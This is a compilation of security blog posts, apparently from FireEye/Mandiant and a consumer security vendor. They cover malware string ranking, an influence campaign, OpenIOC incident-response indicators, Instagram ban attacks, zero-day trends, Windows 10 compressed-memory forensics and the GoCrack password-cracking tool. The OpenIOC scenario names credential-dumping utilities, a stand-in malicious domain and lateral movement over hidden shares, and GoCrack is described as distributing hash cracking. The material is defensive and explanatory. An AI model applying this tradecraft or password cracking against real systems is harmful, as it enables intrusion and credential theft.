Malware analysts routinely use the Strings program during static analysis in order to inspect a binary's printable characters.
However, identifying relevant strings by hand is time consuming and prone to human error.
Larger binaries produce upwards of thousands of strings that can quickly evoke analyst fatigue, relevant strings occur less often than irrelevant ones, and the definition of \"relevant\" can vary significantly among analysts.
Mistakes can lead to missed clues that would have reduced overall time spent performing malware analysis, or even worse, incomplete or incorrect investigatory conclusions.
Earlier this year, the FireEye Data Science (FDS) and FireEye Labs Reverse Engineering (FLARE) teams published a blog post describing a machine learning model that automatically ranked strings to address these concerns.
Today, we publicly release this model as part of StringSifter , a utility that identifies and prioritizes strings according to their relevance for malware analysis.
Goals StringSifter is built to sit downstream from the Strings program; it takes a list of strings as input and returns those same strings ranked according to their relevance for malware analysis as output.
It is intended to make an analyst's life easier, allowing them to focus their attention on only the most relevant strings located towards the top of its predicted output.
StringSifter is designed to be seamlessly plugged into a user’s existing malware analysis stack.
Once its GitHub repository is cloned and installed locally, it can be conveniently invoked from the command line with its default arguments according to: strings <sample_of_interest
> | rank_strings
We are also providing Docker command line tools for additional portability and usability.
For a more detailed overview of how to use StringSifter, including how to specify optional arguments for customizable functionality, please view its README file on GitHub .
We have received great initial internal feedback about StringSifter from FireEye’s reverse engineers, SOC analysts, red teamers, and incident responders.
Encouragingly, we have also observed users at the opposite ends of the experience spectrum find the tool to be useful – from beginners detonating their first piece of malware as part of a FireEye training course – to expert malware researchers triaging incoming samples on the front lines.
By making StringSifter publicly available, we hope to enable a broad set of personas, use cases, and creative downstream applications.
We will also welcome external contributions to help improve the tool’s accuracy and utility in future releases.
Conclusion We are releasing StringSifter to coincide with our presentation at DerbyCon 2019 on Sept. 7, and we will also be doing a technical dive into the model at the Conference on Applied Machine Learning for Information Security this October.
With its release, StringSifter will join FLARE VM , FakeNet , and CommandoVM as one of many recent malware analysis tools that FireEye has chosen to make publicly available.
If you are interested in developing data-driven tools that make it easier to find evil and help benefit the security community, please consider joining the FDS or FLARE teams by applying to one of our job openings .
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Mandiant Threat Intelligence has tied together several information operations that we assess with moderate confidence comprise part of a broader influence campaign—ongoing since at least March 2017—aligned with Russian security interests.
The operations have primarily targeted audiences in Lithuania, Latvia, and Poland with narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe, occasionally leveraging other themes such as anti-U.S. and COVID-19-related narratives as part of this broader anti-NATO agenda.
We have dubbed this campaign “ Ghostwriter .”
Many, though not all of the incidents we suspect to be part of the Ghostwriter campaign, appear to have leveraged website compromises or spoofed email accounts to disseminate fabricated content, including falsified news articles, quotes, correspondence and other documents designed to appear as coming from military officials and political figures in the target countries.
This falsified content has been referenced as source material in articles and op-eds authored by at least 14 inauthentic personas posing as locals, journalists and analysts within those countries.
These articles and op-eds, primarily written in English, have been consistently published to a core set of third-party websites that appear to accept user-submitted content, most notably OpEdNews.com, BalticWord.com, and the pro-Russian site TheDuran.com, among others, as well as to suspected Ghostwriter-affiliated blogs.
Some of these incidents and personas have received public attention from researchers, foreign news outlets, or government entities in Lithuania and Poland, but have not been tied to a broader activity set.
Others have received little attention and remain relatively obscure.
Mandiant Threat Intelligence has independently discovered several Ghostwriter personas and identified additional incidents involving some of those personas previously exposed.
We believe the assets and operations discussed in this report are for the first time being collectively tied together and assessed to comprise part of a larger, concerted and ongoing influence campaign.
Read the report today to learn more.
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Written by Devon Kerr & Will Gibb
The Back to Basics: OpenIOC blog series previously discussed how Indicators of Compromise (IOCs) can be used to codify information about malware or utilities and describe an attacker's methodology.
Also touched on were the parts of an IOC, such as the metadata, references, and definition sections.
This blog post will focus on writing IOCs by providing a common investigation scenario, following along with an incident response team as they investigate a compromise and assemble IOCs.
Our scenario involves a fictional organization, \"Acme Widgets Co.\", which designs, manufactures and distributes widgets.
Last week, this organization held a mandatory security-awareness training that provided attendees with an overview of common security topics including password strength, safe browsing habits, email phishing and the risks of social media.
During the section on phishing, one employee expressed concern that he may have been phished recently.
Bob Bobson, an administrator, indicated that some time back he'd received a strange email about a competitor's widget and was surprised that the PDF attachment wouldn't open.
A member of the security operations staff, John Johnson, was present during the seminar and quickly initiated an investigation of Bob's system using the Mandiant Redline™ host investigation tool.
John used Redline to create a portable collectors configured to obtain live response data from Bob's system which included file system metadata, the contents of the registry, event logs, web browser history, as well as service information.
John ran the collectors on Bob's system and brought the data back to his analysis workstation for review.
Through discussions with Bob, John learned that the suspicious e-mail likely arrived on October 13, 2013.
After initial review of the evidence, John assembled the following timeline of suspicious activity on the system.
Table 1: Summary of significant artifacts Based on this analysis, John pieced together a preliminary narrative:
The attacker sent a spear-phishing email to Bob which contained a malicious PDF attachment, \"Ultrawidget.pdf\", which Bob saved to the desktop on October 10, 2013, at 20:19:07 UTC.
Approximately five minutes later, at 20:24:44 UTC, the file \"C:WINDOWSSysWOW64acmCleanup.exe\" was created as well as a Run key used for persistence.
These events were likely the result of Bob opening the PDF.
John sent the PDF to a malware analyst to determine the nature of the exploit used to infect Bob's PC.
The first IOC John writes describes the malware identified on Bob's PC, \"acmCleanup.exe\", as well as the malicious PDF.
IOCs sometimes start out as rudimentary - looking for the known file hashes, filenames and persistence mechanisms of the malware identified.
Here is what an initial IOC looks like: Figure 1: Initial IOC for acmCleanup.exe (BACKDOOR)
As analysis continues, these IOCs are updated and improved - incorporating indicator terms from malware and intelligence analysis as well as being refined based on the environment.
In this sense, the IOC is a living document.
For example, additional analysis may reveal more registry key information, additional files which may be written to disk, or information for identifying the malware in memory.
Here is the same IOC, after augmenting it with the results of malware analysis:
Figure 2: Augmented IOC for acmCleanup.exe (BACKDOOR)
The augmented IOC will continue to identify the exact malware discovered on Bob's PC.
This improved IOC will also identify malware which has things in common with that backdoor: Malware which uses the same Mutex, a process attribute that will prevent the machine from being infected multiple times with the same backdoor Malware which performs DNS queries for the malicious domain \"23vsx.evil.com\" Malware which has a specific set of import functions; in this case which correspond to reverse shell and keylogger functionality Beginning on October 11, the attacker accessed the system and executed the Windows command \"ipconfig\" at 20:24:00 UTC, resulting in the creation of a prefetch file.
Approximately five minutes later, the attacker began uploading files to \"C:$RECYCLE.BIN\".
Based on review of their MD5 hashes, three files (\"wce.exe\", \"getlsasrvaddr.exe\", \"update.exe\") were identified as known credential dumping utilities while others (\"filewalk32.exe\", \"rar.exe\") were tools for performing file system searches and creating WinRAR archives.
These items should be recorded in an IOC, as a representation of an attacker's tools, techniques and procedures (TTPs).
It is important to know that an attacker is likely to have interacted with many more systems than were infected with malware; for this reason it is crucial to look for evidence that an attacker has accessed systems.
Some of the most common activities attackers perform on these systems include password-dumping, reconnaissance and data theft.
Seeing that the attacker had staged file archives and utilities in the \"$Recycle.
Bin\" folder, John also created an IOC to find artifacts present there.
This IOC was designed to identify files in the root of the \"$Recycle.
Bin\" directory; or to identify if a user (notably, the attacker) tried to access the \"$Recycle.
Bin\" folder by manually typing it in the address bar of Explorer by checking TypedPaths in the Registry.
This is an example of encapsulating an attacker's TTPs in an OpenIOC form.
Figure 3: IOC for Unusual Files in \"C:RECYCLER\" and \"C:$RECYCLE.BIN\" (Methodology)
On October 15, 2013, at 12:15:37 UTC, the Sysinternals PsExec utility was created in \"C:$RECYCLE.BIN\".
Approximately four hours later, at 16:11:03 UTC, the attacker used the Internet Explorer browser to access text files located in \"C:$RECYCLE.BIN\".
Between 16:11:03 UTC and 16:11:06 UTC, the attacker accessed two text files which were no longer present on the system.
At 16:17:55 UTC, the attacker mounted the remote hidden share \"\\10.20.30.101C$\".
At 16:20:29 UTC, the attacker executed the Windows \"tree\" command, resulting in the creation of a prefetch file, a command which produces a filesystem listing.
At 17:37:37 UTC, the attacker created one WinRAR archive, \"C:$Recycle.
Bina.rar\" which contained two text files, \"c.txt\" and \"a.txt\".
These text files contained output from the Windows \"tree\" and \"ipconfig\" commands.
No further evidence was present on the system.
John noted that the earliest event log entries present on the system start approximately two minutes after the creation of \"a.rar\".
It is likely that the attacker cleared the event logs before disconnecting from the system.
John identified the lateral movement to the 10.20.30.101 host, from \"ACM-BOBBO\" through registry keys that recorded the mount of the hidden C$ share.
By recording this type of artifact in an IOC, John will be able to quickly see if the attacker has pivoted to another part of the Acme Widgets Co. network when investigating 10.20.30.101.
He included artifacts looking for other common hidden shares such as IPC$ and ADMIN$.
The effectiveness of an IOC may be influenced by the environment the IOC was created for.
This IOC, for example, may generate a significant number of false-positives in an environment where these hidden shares are legitimately used.
At Acme Widgets Co., however, the use of hidden shares is considered highly suspicious.
Figure 4 IOC for Lateral Movement (Methodology)
At the end of the day, John authored three new IOCs based on his current investigation.
He knows that if he records the artifacts he identified from his investigation into the \"ACM-BOBBO\" system, he can apply that knowledge to the investigation of the host at 10.20.30.101.
Once he collects information on 10.20.30.101 with his Redline portable collector, he'll be able to match IOCs against the Live Response data, which will let him identify known artifacts quickly prior to beginning Live Response analysis.
Although John is using these IOCs to search systems individually, these same IOCs could be used to search for evidence of attacker activity across the enterprise.
Armed with this set of IOCs, John sets out to hunt for evil on the host at \"10.20.30.101\".
Stay tuned for our next blog post, seeing how this investigation develops.
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If you run a popular blog and promote your business through Instagram, an account ban simply isn’t in the plan.
For responsible users, the idea of being banned for, say, displaying suicidal content or trying to impersonate someone else might seem like a bad dream or a cruel joke, but it’s quite real for victims of the new wave of so-called ban attacks.
Here’s how these attacks work, how to defend against them, and what to do if your account has been hit.
How cybercriminals block Instagram profiles It’s all quite simple: Detractors or competitors can pay a fee (the amount depends on the seller or even the number of followers) to have your profile blocked.
Such attacks began last fall , but of late they’ve become particularly high-profile.
Recently, online magazine Motherboard connected with a cybercriminal group and learned how they exploit Instagram’s policy to make money through ban-as-a-service offerings .
The group’s favored tactic is the fake impersonation complaint, which involves verified accounts, identifiable by the blue check next to the username.
The attackers use verified accounts to create a full copy of the victim’s profile, right down to the avatar and description.
Then they file a complaint against the original, accusing the owner of impersonation.
If the victim’s account is not verified, the support service bans the victim.
The second blocking method is to inundate tech support with messages alleging that the victim’s profile contains images of suicide or self-mutilation.
In many cases, Instagram takes the easier path, blocking accounts on the basis of such complaints without first checking their actual content.
Unlike phishing and other similar schemes that still require action from the victim — clicking a dangerous link, for example — a ban attack works with no victim participation whatsoever.
The target, who might never even dream of violating the terms of use, simply finds their account blocked.
According to the Motherboard reporters, the service is inexpensive, running about $5 to $60, so the cybercriminals have no shortage of customers.
However, not all users who abuse Instagram’s moderation practices are in it to make money.
Malicious scripts are freely available, and any online hooligan can use them to settle a personal score or silence a disagreeable blogger.
Instagram unblocking for a fee In fact, blocking Instagram accounts opens up another money-generating avenue: restoring them.
Unblocking carries a far higher fee than blocking — reportedly up to $3,500–$4,000.
Whether the same people are behind the banning and the unblocking services, or whether it’s an accidental symbiosis, remains unclear for now.
Some users do receive an offer to reinstate their account just a few minutes after the blocking, however, and those offers often come from followers of the accounts from which the original complaints came.
What to do if your Instagram profile gets blocked If you’re already the victim of a ban attack, contact Instagram support immediately with an explanation of what happened.
Bans are appealable only through the app .
To do so, you will need to enter your username and password, then follow the instructions.
If anyone comes knocking with an offer to restore your account for money, don’t pay!
First, you have no guarantee that anything will come of it.
Second, doing so supports confirmed miscreants — perhaps even the ones who got your account banned in the first place.
Third, the official recovery procedure through Instagram support is free.
How to protect your Instagram profile Unfortunately, users tend to learn about a ban attack only after the fact.
Instagram told Motherboard that it plans to sniff out cybercriminal accounts on the platform, and asks users to report any suspicious activity, but that approach is time-consuming.
In the meantime, we suggest you take some measures to protect yourself.
Verify your account
The ban-attack business centers on accusations of impersonation, so the best way to protect yourself is to convince Instagram that you are you before anything happens.
In other words, you should verify your account now.
The social network won’t check every user, but you may have some points in your favor.
For example, if you or your business has been mentioned in multiple news sources , that helps.
To get the coveted blue check mark, you’ll want to complete your profile and delete any old accounts to avoid arousing suspicion.
Naturally, the account must also be public and not violate Instagram’s terms of use.
Once you’ve ensured your account is ready, send a verification request .
You can do it directly through the app:
Go to your profile settings; Select Account ; Select Request Verification ; Enter your full name and attach required documentation; Follow the subsequent instructions.
Make your account private
What if you’re not famous enough to pass blue-check verification?
You can take the radical step of closing your account to the public.
If you make your account private, then your posts, photos, and videos will be available only to subscribers, which means that an attacker won’t be able to copy them and accuse you of impersonation.
Whether in the app or a browser, it is not difficult to make your account private.
See our post on setting up Instagram security and privacy for detailed instructions.
Be sure to take the trouble to clean up your list of followers as well, and check future follower requests before accepting them.
Bots and other barely there accounts can hide attackers, and you’re under no obligation to let them in.
Change your profile pic For business profiles that you cannot close but that aren’t well-known enough for verification — or that you feel you must keep open for any other reason — there’s another way to reduce the risk of ban attacks: Change your avatar.
Fake impersonation complaints work best on profiles with a real photo of the owner.
Some underground ban-attack services even refuse to target accounts with other avatars.
That means putting up something that isn’t your portrait complicates attempts to do harm; every bit helps.
Maintain a backup and update contact information Instagram admins do what they can to combat wrongful complaints, but they’re working against cybercriminals who continually improve their money-making schemes.
In a perfect world you wouldn’t have to, but here and now, you should prepare an escape route.
First, make sure you have access to the e-mail address and phone number linked to your profile.
If your account is wrongfully blocked, you can use them for recovery.
Second, save your content regularly.
That way, if worse comes to worst, you can use it to migrate to a new account.
With the buzz in the security industry this year about sharing threat intelligence, it's easy to get caught up in the hype, and believe that proper, effective sharing of Indicators or Intelligence is something that can just be purchased along with goods or services from any security vendor.
It's really a much more complex problem than most make it out to be, and one that we've been working on for a while.
A large part of our solution for managing Threat Indicators is using the OpenIOC standard format.
Since its founding, Mandiant sought to solve the problem of how to conduct leading-edge Incident Response (IR) - and how to scale that response to an entire enterprise.
We created OpenIOC as an early step in tackling that problem.
Mandiant released OpenIOC to the public as an Open Source project under the Apache 2 license in November of 2011, but OpenIOC had been used internally at Mandiant for several years prior.
IR is a discipline that usually requires highly trained professionals doing very resource-intensive work.
Traditionally, these professionals would engage in time-intensive investigations on only a few hosts on a compromised network.
Practical limitations on staffing, resources, time, and money would prevent investigations from covering anything other than a very small percentage of most enterprises.
Responders would only be able to examine what they had direct access to, with their corresponding conclusions constrained by time and budget.
This level of investigation was almost never enough to give confidence on anything other than the hosts that had been examined - responders were unable to confirm whether other systems were still compromised, or whether the adversary still had footholds in other parts of the network.
Creating a standard way of recording Threat Intelligence into an Indicator was part of what allowed Mandiant to bring a new approach to IR, including the use of an automated solution, such as Mandiant for Intelligent Response® (MIR®) .
Mandiant's new strategy for IR enabled investigators, who previously could only get to a few hosts in an engagement, to now query entire enterprises in only slightly more time.
Using OpenIOC as a standardized format, the Indicators of Compromise (IOCs) were recorded once, and then used to help gather the same information and conduct the same testing on every host across the enterprise via the automated solution.
Incident Responders could now spend only a little more time, but cover an exponentially larger number of hosts during the course of an investigation.
Recording the IOCs in OpenIOC had other benefits as well.
Indicators from one investigation could be shared with other investigations or organizations, and allow investigators to look for the exact same IOCs wherever they were, without having to worry about translation problems associated with ambiguous formats, such as lists or text documents.
One investigator could create an IOC, and then share it with others, who could put that same IOC into their investigative system and look for the same evil as the first person, with little to no additional work.
The format grew organically over time.
We always intended that the format be expandable and improvable.
Instead of trying to map out every possible use case, Mandiant has updated the format and expanded the dictionaries of IOC Terms as new needs have arisen over time.
The version we released in 2011 as \"1.0\" had already been revised and improved upon internally several times before its Open Source debut.
We continue to update the standard as needed, allowing for features and requests that we have received over time from other users or interested parties.
Unlike traditional \"signatures,\" OpenIOC provides the ability to use logical comparison of Indicators in an IOC, providing more flexibility and discrimination than simple lists of artifacts.
An extensive library of Indicator Terms allows for a variety of information from hosts and networks to be recorded, and if something is not covered in the existing terms, additional terms may be added.
Upcoming features like parameters will allow for further expansion of the standard, including customization for application or organization specific use cases.
Having the OpenIOC standard in place is tremendously powerful, providing benefits for scaling detection and investigation, both of which are key parts of managing the threat lifecycle.
OpenIOC enables easy, standardized information sharing once implemented, without adding much to workloads or draining resources.
And it is freely available as Open Source; so that others can benefit from some of the methods we have already found to work well in our practice.
We hope that as we improve it, you can take even more advantage of what OpenIOC has to offer in your IR and Threat Intelligence workflows.
Next up in the Back to Basics: OpenIOC series, we'll talk about some of the basics of what OpenIOC is and what using it involves - and some of the upcoming things in the future of OpenIOC.
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One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk.
In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.
FireEye
Mandiant Threat Intelligence documented more zero-days exploited in 2019 than any of the previous three years.
While not every instance of zero-day exploitation can be attributed to a tracked group, we noted that a wider range of tracked actors appear to have gained access to these capabilities.
Furthermore, we noted a significant increase over time in the number of zero-days leveraged by groups suspected to be customers of companies that supply offensive cyber capabilities, as well as an increase in zero-days used against targets in the Middle East, and/or by groups with suspected ties to this region.
Going forward, we are likely to see a greater variety of actors using zero-days, especially as private vendors continue feeding the demand for offensive cyber weapons.
Zero-Day Usage by Country and Group Since late 2017, FireEye Mandiant Threat Intelligence noted a significant increase in the number of zero-days leveraged by groups that are known or suspected to be customers of private companies that supply offensive cyber tools and services.
Additionally, we observed an increase in zero-days leveraged against targets in the Middle East, and/or by groups with suspected ties to this region.
Examples include: A group described by researchers as Stealth Falcon and FruityArmor is an espionage group that has reportedly targeted journalists and activists in the Middle East .
In 2016, this group used malware sold by NSO group, which leveraged three iOS zero-days.
From 2016 to 2019, this group used more zero-days than any other group.
The activity dubbed SandCat in open sources, suspected to be linked to Uzbekistan state intelligence , has been observed using zero-days in operations against targets in the Middle East.
This group may have acquired their zero-days by purchasing malware from private companies such as NSO group, as the zero-days used in SandCat operations were also used in Stealth Falcon operations, and it is unlikely that these distinct activity sets independently discovered the same three zero-days.
Throughout 2016 and 2017, activity referred to in open sources as BlackOasis , which also primarily targets entities in the Middle East and likely acquired at least one zero-day in the past from private company Gamma Group , demonstrated similarly frequent access to zero-day vulnerabilities.
We also noted examples of zero-day exploitation that have not been attributed to tracked groups but that appear to have been leveraged in tools provided by private offensive security companies, for instance: In 2019, a zero-day exploit in WhatsApp (CVE-2019-3568) was reportedly used to distribute spyware developed by NSO group, an Israeli software company.
FireEye analyzed activity targeting a Russian healthcare organization that leveraged a 2018 Adobe Flash zero-day (CVE-2018-15982) that may be linked to leaked source code of Hacking Team.
Android zero-day vulnerability CVE-2019-2215 was reportedly being exploited in the wild in October 2019 by NSO Group tools.
Zero-Day Exploitation by Major Cyber Powers We have continued to see exploitation of zero days by espionage groups of major cyber powers.
According to researchers, the Chinese espionage group APT3 exploited CVE-2019-0703 in targeted attacks in 2016 .
FireEye observed North Korean group APT37 conduct a 2017 campaign that leveraged Adobe Flash vulnerability CVE-2018-4878.
This group has also demonstrated an increased capacity to quickly exploit vulnerabilities shortly after they have been disclosed.
From December 2017 to January 2018, we observed multiple Chinese groups leveraging CVE-2018-0802 in a campaign targeting multiple industries throughout Europe, Russia, Southeast Asia, and Taiwan.
At least three out of six samples were used before the patch for this vulnerability was issued.
In 2017, Russian groups APT28 and Turla leveraged multiple zero-days in Microsoft Office products.
In addition, we believe that some of the most dangerous state sponsored intrusion sets are increasingly demonstrating the ability to quickly exploit vulnerabilities that have been made public.
In multiple cases, groups linked to these countries have been able to weaponize vulnerabilities and incorporate them into their operations, aiming to take advantage of the window between disclosure and patch application.
Zero-Day Use by Financially Motivated Actors Financially motivated groups have and continue to leverage zero-days in their operations , though with less frequency than espionage groups.
In May 2019, we reported that FIN6 used a Windows server 2019 use-after-free zero-day (CVE-2019-0859) in a targeted intrusion in February 2019.
Some evidence suggests that the group may have used the exploit since August 2018.
While open sources have suggested that the group potentially acquired the zero-day from criminal underground actor \" BuggiCorp ,\" we have not identified direct evidence linking this actor to this exploit's development or sale.
Conclusion We surmise that access to zero-day capabilities is becoming increasingly commodified based on the proportion of zero-days exploited in the wild by suspected customers of private companies.
Possible reasons for this include: Private companies are likely creating and supplying a larger proportion of zero-days than they have in the past, resulting in a concentration of zero-day capabilities among highly resourced groups.
Private companies may be increasingly providing offensive capabilities to groups with lower overall capability and/or groups with less concern for operational security, which makes it more likely that usage of zero-days will be observed.
It is likely that state groups will continue to support internal exploit discovery and development; however, the availability of zero-days through private companies may offer a more attractive option than relying on domestic solutions or underground markets.
As a result, we expect that the number of adversaries demonstrating access to these kinds of vulnerabilities will almost certainly increase and will do so at a faster rate than the growth of their overall offensive cyber capabilities—provided they have the ability and will to spend the necessary funds.
Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.
Sourcing Note: Some vulnerabilities and zero-days were identified based on FireEye research, Mandiant breach investigation findings, and other technical collections.
This paper also references vulnerabilities and zero-days discussed in open sources including Google Project Zero's zero-day \"In the Wild\" Spreadsheet .
While we believe these sources are reliable as used in this paper, we do not vouch for the complete findings of those sources.
Due to the ongoing discovery of past incidents, we expect that this research will remain dynamic.
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Introduction This blog post is the second in a three-part series covering our Windows 10 memory forensics research and it coincides with our BlackHat USA 2019 presentation.
In Part One of the series , we covered the integration of the research in both Volatily and Rekall memory forensics tools.
We demonstrated that forensic artifacts (including reflectively loaded malware) could remain undiscovered without the FLARE research integration on Windows 10 (available on GitHub at win10_volatility and win10_rekall ).
In this post, we demonstrate how to retrieve a compressed page using the structures and algorithms described in our white paper .
We track down a compressed page in memory, beginning at its virtual address within a known process.
A WinDbg kernel debugger setup is used in this walkthrough, but a similar process could be followed from within a memory snapshot or extraction using Volatility or Rekall .
Finding a Compressed Page The operating system used in this demo is Windows 10.0.15063.0 (x64) and the structure definitions shown will be applicable across any 1703 build.
Note that the two global offsets nt!SmGlobals and nt!MmPagingFile will need to be located for each revision.
The process of retrieving these global offsets is described further in our white paper .
To begin analysis, we create a marker page and flush it to the Virtual Store.
This can be done in several ways, the easiest of which is allocating memory in a memory constrained virtual machine.
A simple utility ( ram_eater.exe ) was created to perform this task.
The ram_eater utility allocates and writes a marker page, and then repeatedly allocates more memory in user-specified page amounts.
In a memory constrained virtual machine (1 GB RAM), the marker page will become stale shortly and be evicted to the virtual store.
In Figure 1, ram_eater reports that it has allocated the marker page at address 0x2a368480000 .
The marker page we used (see Figure 2) was a string beginning with “ CC WAS HERE!
”.
Figure 1: Allocating a marker page using ram_eater_x64.exe We can verify the contents of our marker page by locating it in the kernel debugger, viewing its Page Table Entry (PTE) and dumping its corresponding physical memory (see Figure 2).
We use the !process extension to locate ram_eater ’s EPROCESS structure and switch into the context of the ram_eater process.
This ensures that we traverse the correct process-specific page tables for the ram_eater process.
Using the page frame number ( pfn ) described by the hardware PTE, we dump the physical memory to validate the contents of our marker page.
Page frame numbers do not include the low-order bits used to specify an offset into a page, therefore they must be multiplied by PAGE_SIZE ( 0x1000 ) to identify the actual address of the data.
Figure 2:
Locating and viewing the marker page from the kernel debugger After allocating additional memory using ram_eater , we check to see if the marker page has been sent to the virtual store.
Each entry in the output of the !vm extension can be treated as an index in to nt!MmPagingFile (see Figure 3).
Figure 3: PTE of a compressed page in the virtual store an confirmation of virtual store’s PageFile index In the PTE displayed in Figure 3, the PageFile index ( MMPTE_SOFTWARE.PageFileLow ) is 2 and corresponds to the “No Name for Paging File” entry in the !
vm extension’s output.
From general observation, we know that on a default Windows configuration, the last entry corresponds to the virtual store.
It is possible to configure systems with more than a single PageFile on disk, so do not assume that PageFile index 2 will always correlate to the virtual store.
A more thorough option to validate page file indices is to disassemble nt!MmStoreCheckPagefiles .
This function contains references to two global variables, the number of active PageFiles, as well as an array of pointers to each nt!_MMPAGING_FILE structure (see Figure 4).
We use the PageFile structure’s newly introduced VirtualStorePagefile field to confirm if the PageFile represents a virtual store.
Figure 4:
Locating nt!MmPagingFile in WinDbg and dumping system’s nt!_MMPAGING_FILE structures Having confirmed that the marker page is in the virtual store, the next step is to calculate the Store Manager Page Key ( SM_PAGE_KEY ), as it serves as a pseudo-handle to locate the decompressed page.
Our white paper details the process used to calculate the SM_PAGE_KEY , which turns out to be 0x201a3061 for this example.
Note, that we will not use the PTE’s swizzle bit in the page key calculations, since the OS build is below 1803.
To begin page retrieval, the pointer to the Store Manager’s global structure or nt!SmGlobals needs to be located.
This is a straightforward process if symbols are available (see Figure 5).
Figure 5:
Dumping nt!SmGlobals The first thing to observe is that both SMKM_STORE_MGR and SMKM are located at offset 0x0 , or directly at nt!SmGlobals .
Viewed as a memory dump, nt!SmGlobals appears as an array of pointers.
Viewed as a two-dimensional array (32x32) of SMKM_STORE_METADATA elements, each element in the array of pointers points to an array of 32 SMKM_STORE_METADATA structures.
Each SMKM_STORE_METADATA structure represents a store.
To locate our SM_PAGE_KEY ’s corresponding store, we need to find the store index associated with the page key inside the SMKM_STORE_MGR.sGlobalTree B+tree container.
The store index is a compound value that yields both indices needed to select the particular SMKM_STORE_METADATA element.
Let’s traverse the SMKM_STORE_MGR ’s global B+tree (Figure 6).
Recall that we are interested in a store manager page key value of 0x201a3061 .
Figure 6:
Traversing the global B+tree Now that we have the store index (obtained from the SMKM_FRONTEND_ENTRY structure) we calculate both indices to select the correct SMKM_STORE_METADATA structure for our SM_PAGE_KEY .
The index in to the pointer array is the result of dividing the retrieved store index by 32, while the second one is the remainder of the division operation.
In our case both indices are 0 and they select the first of the 1024 stores on the system, which is reserved for legacy applications.
Universal Windows Platform (UWP) applications, on the other hand, will be placed in stores from 1 to 1023.
Now, with the SMKM_STORE_METADATA known, we examine the store’s SMKM_STORE structure, as shown in Figure 7.
Figure 7: Dumping the SMKM_STORE structure Once we have our SMKM_STORE structure we traverse another B+tree that associates our SM_PAGE_KEY ( 0x201a3061 ) with a chunk key.
The chunk key is a compound value and once decoded points to a specific page record inside SMHP_CHUNK_METADATA 's two-dimensional aChunkPointer array.
The B+tree traversal is shown in Figure 8.
Figure 8: Traversing the local B+tree to find the chunk key associated with the SM_PAGE_KEY After the B+tree traversal is complete we found that our chunk key is 4b02d .
Since it’s a compound value we need to decode it in order to retrieve the two indices into SMHP_CHUNK_METADATA ’s chunk pointer array, and the offset within the located chunk.
The decoding involves four additional SHMP_CHUNK_METADATA fields – dwVectorSize , dwPageRecordsPerChunk , dwPageRecordSize , and dwChunkPageHeaderSize .
The process is shown in Figure 9.
Figure 9: Retrieving the page record associated with the chunk key
The decoding of the chunk key in Figure 9 allowed us to find all the information to derive the virtual address of our compressed page.
The retrieved REGION_KEY ( 0xf72397 , in our case) is also a compound value that encodes the index within the SMKM_STORE ’s region pointer array, as well as the offset within the region of pages.
To calculate this data, we parse the region key with the help of two fields inside the ST_DATA_MGR structure – dwRegionIndexMask and dwRegionSizeMask .
The calculations are shown in Figure 10.
Figure 10: Calculating the compressed page’s virtual address The virtual address 0x12f3970 calculated in Figure 10 contains the compressed page of interest.
We can retrieve it from the MemCompression process space, as shown in Figure 11.
To confirm that the compressed memory is located within MemCompression , check the SMKM_STORE structure’s StoreOwnerProcess field.
Figure 11:
Retrieving the compressed page from within MemCompression process space
The compressed page can be decompressed with a call to the RtlDecompressBufferEx API or any other implementation that supports the XPRESS compression algorithm.
Conclusion In this blog post, we shared a walkthrough in which we forced a known marker page into the compression store and manually retrieved it by walking through memory dumps using known structure offsets from Windows 10 1709 x64.
The same techniques used here can be applied to Windows 10 1607 and onwards assuming correct structure offsets are known.
In Part 3 of the series, Automating Undocumented Structure Extraction , we will look at how the FLARE team leveraged emulation via flare-emu to automate the extraction of the structures used in this walkthrough.
Resources White paper Finding Evil in Windows 10 Compressed Memory, Part One: Volatility and Rekall Tools Finding Evil in Windows 10 Compressed Memory, Part Three: Automating Undocumented Structure Extraction FLARE Windows 10 Volatility Plugin FLARE
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FireEye's Innovation and Custom Engineering (ICE) team released a tool today called GoCrack that allows red teams to efficiently manage password cracking tasks across multiple GPU servers by providing an easy-to-use, web-based real-time UI (Figure 1 shows the dashboard) to create, view, and manage tasks.
Simply deploy a GoCrack server along with a worker on every GPU/CPU capable machine and the system will automatically distribute tasks across those GPU/CPU machines.
Figure 1:
Dashboard As readers of this blog probably know, password cracking tools are an effective way for security professionals to test password effectiveness, develop improved methods to securely store passwords, and audit current password requirements.
Some use cases for a password cracking tool can include cracking passwords on exfil archives, auditing password requirements in internal tools, and offensive/defensive operations.
We’re releasing GoCrack to provide another tool for distributed teams to have in their arsenal for managing password cracking and recovery tasks.
Keeping in mind the sensitivity of passwords, GoCrack includes an entitlement-based system that prevents users from accessing task data unless they are the original creator or they grant additional users to the task.
Modifications to a task, viewing of cracked passwords, downloading a task file, and other sensitive actions are logged and available for auditing by administrators.
Engine files (files used by the cracking engine) such as Dictionaries, Mangling Rules, etc.
can be uploaded as “Shared”, which allows other users to use them in task yet do not grant them the ability to download or edit.
This allows for sensitive dictionaries to be used without enabling their contents to be viewed.
Figure 2 shows a task list, Figure 3 shows the “Realtime Status” tab for a task, and Figure 4 shows the “Cracked Passwords” tab.
Figure 2:
Task Listing Figure 3:
Task Status Figure 4: Cracked Passwords Tab GoCrack is shipping with support for hashcat v3.6+, requires no external database server (via a flat file), and includes support for both LDAP and database backed authentication.
In the future, we plan on adding support for MySQL and Postgres database engines for larger deployments, ability to manage and edit files in the UI, automatic task expiration, and greater configuration of the hashcat engine.
We’re shipping with Dockerfile’s to help jumpstart users with GoCrack.
The server component can run on any Linux server with Docker installed.
Users with NVIDIA GPUs can use NVIDIA Docker to run the worker in a container with full access to the GPUs.
GoCrack is available immediately for download along with its source code on the project's GitHub page .
If you have any feature requests, questions, or bug reports, please file an issue in GitHub.
ICE is a small, highly trained, team of engineers that incubate and deliver capabilities that matter to our products, our clients and our customers.
ICE is always looking for exceptional candidates interested in solving challenging problems quickly.
If you’re interested, check out FireEye careers .
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By March 2020, the COVID-19 outbreak had already reached more than 100 countries and was officially designated a pandemic .
The world has now been fighting this unprecedented virus for a whole year.
In addition to its obvious effects on individuals’ health and entire countries’ economies, the disease’s spread triggered sudden and radical changes in the daily life of millions of people.
Work and study moved to the home, and videoconferencing replaced social and business meetings.
